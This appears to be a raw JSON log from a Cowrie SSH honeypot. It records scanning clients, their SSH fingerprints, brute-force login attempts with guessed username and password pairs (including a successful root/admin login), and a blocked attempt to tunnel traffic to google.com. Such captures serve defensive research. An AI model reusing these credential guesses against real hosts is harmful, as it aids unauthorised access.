"hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:45.164864Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina","message":"login attempt [serina/serina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:45.574558Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina1","message":"login attempt [serina/serina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:46.660769Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina123","message":"login attempt [serina/serina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:47.747697Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina1234","message":"login attempt [serina/serina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:48.834038Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina12345","message":"login attempt [serina/serina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:49.920752Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:51.007379Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.104.88","src_port":39500,"dst_ip":"10.17.0.5","dst_port":22,"session":"015883999e9e","protocol":"ssh","message":"New connection: 165.154.104.88:39500 (10.17.0.5:22) [session: 015883999e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:14.899638Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\xc2z\\xab\\xf2H\\x92\\x9e\\xcb0\\xf0\\x82\\xa8F\\xbdM\\x8d>4V\\x96J\\xe5\\xc2\u05c5:\\xcd\\xe2\f\\xfd\u001c- \u001a[\u022c\\xcbq\\x8bqs\u0143\\xc4`1C\\xd1n{(","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\xc2z\\xab\\xf2H\\x92\\x9e\\xcb0\\xf0\\x82\\xa8F\\xbdM\\x8d>4V\\x96J\\xe5\\xc2\u05c5:\\xcd\\xe2\f\\xfd\u001c- \u001a[\u022c\\xcbq\\x8bqs\u0143\\xc4`1C\\xd1n{(","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:14.904660Z","src_ip":"165.154.104.88","session":"015883999e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:14.908268Z","src_ip":"165.154.104.88","session":"015883999e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.104.88","src_port":39502,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1e76a55992","protocol":"ssh","message":"New connection: 165.154.104.88:39502 (10.17.0.5:22) [session: 3f1e76a55992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:15.399978Z"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:33.662208Z","src_ip":"165.154.104.88","session":"3f1e76a55992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.104.88","src_port":48300,"dst_ip":"10.17.0.5","dst_port":22,"session":"22acb9dab697","protocol":"ssh","message":"New connection: 165.154.104.88:48300 (10.17.0.5:22) [session: 22acb9dab697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:33.904541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:33.908892Z","src_ip":"165.154.104.88","session":"22acb9dab697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:34.154200Z","src_ip":"165.154.104.88","session":"22acb9dab697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:34.650296Z","src_ip":"165.154.104.88","session":"22acb9dab697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.104.88","src_port":48310,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d633e18c4d8","protocol":"ssh","message":"New connection: 165.154.104.88:48310 (10.17.0.5:22) [session: 4d633e18c4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:34.892954Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:34.897283Z","src_ip":"165.154.104.88","session":"4d633e18c4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:34.900481Z","src_ip":"165.154.104.88","session":"4d633e18c4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.44","src_port":10585,"dst_ip":"159.203.135.109","dst_port":22,"session":"006cb4d2c924","protocol":"ssh","message":"New connection: 192.42.116.44:10585 (159.203.135.109:22) [session: 006cb4d2c924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:56.215051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:56.330349Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:56.406769Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:57.336519Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:57.340405Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:08:57.501505Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.44","src_port":54224,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:54224","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:09:16.095024Z","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:09:16.485316Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H\\xb5\\x7f\\x9d\\xd83\\xe9\\xc5\\xe8\\xca\\xab\\x9a\\xf3\\x86\\xdfP\\xdb=\\xe5\\x14\\xe6\\x0c\\xf5sz]\\xee\\xa1B5\\xc8m \\xf2\\x80.y\\xa5\\xca\\x00\\xd3\\xe3em\\xb1\\x91\\xfe\\xd5d}\\xf2,=\\xc8\\xa5V\\xc5J\\xf4\\xc68\\x8a\\x86\\x08\\xc8\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 <\\xf5\\x88z\\x89\\xceJzb\\xf1\\xa9\\xf6X\\xda\\xc5v\\x08\\xc5\\xebv\\xd87\\t\\xc37-\\x0e\\xeb\\x81-\\x9f\\x0f\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H\\xb5\\x7f\\x9d\\xd83\\xe9\\xc5\\xe8\\xca\\xab\\x9a\\xf3\\x86\\xdfP\\xdb=\\xe5\\x14\\xe6\\x0c\\xf5sz]\\xee\\xa1B5\\xc8m \\xf2\\x80.y\\xa5\\xca\\x00\\xd3\\xe3em\\xb1\\x91\\xfe\\xd5d}\\xf2,=\\xc8\\xa5V\\xc5J\\xf4\\xc68\\x8a\\x86\\x08\\xc8\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 <\\xf5\\x88z\\x89\\xceJzb\\xf1\\xa9\\xf6X\\xda\\xc5v\\x08\\xc5\\xebv\\xd87\\t\\xc37-\\x0e\\xeb\\x81-\\x9f\\x0f\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:09:16.488954Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.5","message":"Connection lost after 20.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:09:16.720950Z","src_ip":"192.42.116.44","session":"006cb4d2c924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34250,"dst_ip":"10.17.0.5","dst_port":22,"session":"a02e7d10b02e","protocol":"ssh","message":"New connection: 2.57.122.208:34250 (10.17.0.5:22) [session: a02e7d10b02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:11:47.250331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:11:47.255340Z","src_ip":"2.57.122.208","session":"a02e7d10b02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:11:47.360805Z","src_ip":"2.57.122.208","session":"a02e7d10b02e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:11:47.678520Z","src_ip":"2.57.122.208","session":"a02e7d10b02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:11:48.797663Z","src_ip":"2.57.122.208","session":"a02e7d10b02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":57469,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b2bb015331c","protocol":"ssh","message":"New connection: 193.46.255.86:57469 (159.203.135.109:22) [session: 3b2bb015331c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:56.926972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:12:56.931298Z","src_ip":"193.46.255.86","session":"3b2bb015331c","protocol":"ssh"}
